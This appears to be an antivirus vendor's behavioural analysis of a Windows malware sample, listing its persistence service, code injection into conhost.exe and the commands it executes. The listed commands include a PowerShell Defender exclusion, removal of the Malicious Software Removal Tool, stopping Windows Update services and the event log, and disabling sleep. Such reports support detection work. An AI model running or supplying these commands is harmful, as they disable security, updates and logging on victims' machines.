Technical Information
To ensure autorun and distribution
Sets the following service settings
- [HKLM\System\CurrentControlSet\Services\DQABZSBO] 'Start' = '00000002'
- [HKLM\System\CurrentControlSet\Services\DQABZSBO] 'ImagePath' = '%ALLUSERSPROFILE%\Microsoft\SST.exe'
Creates the following services
- 'DQABZSBO' %ALLUSERSPROFILE%\Microsoft\SST.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Injects code into
the following system processes:
- <SYSTEM32>\conhost.exe
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\microsoft\sst.exe
Miscellaneous
Creates and executes the following
- '%ALLUSERSPROFILE%\microsoft\sst.exe'
Executes the following
- '<SYSTEM32>\cmd.exe' /c wusa /uninstall /kb:890830 /quiet /norestart
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\wusa.exe' /uninstall /kb:890830 /quiet /norestart
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\sc.exe' delete "DQABZSBO"
- '<SYSTEM32>\sc.exe' create "DQABZSBO" binpath= "%ALLUSERSPROFILE%\Microsoft\SST.exe" start= "auto"
- '<SYSTEM32>\sc.exe' start "DQABZSBO"
- '<SYSTEM32>\sc.exe' stop eventlog
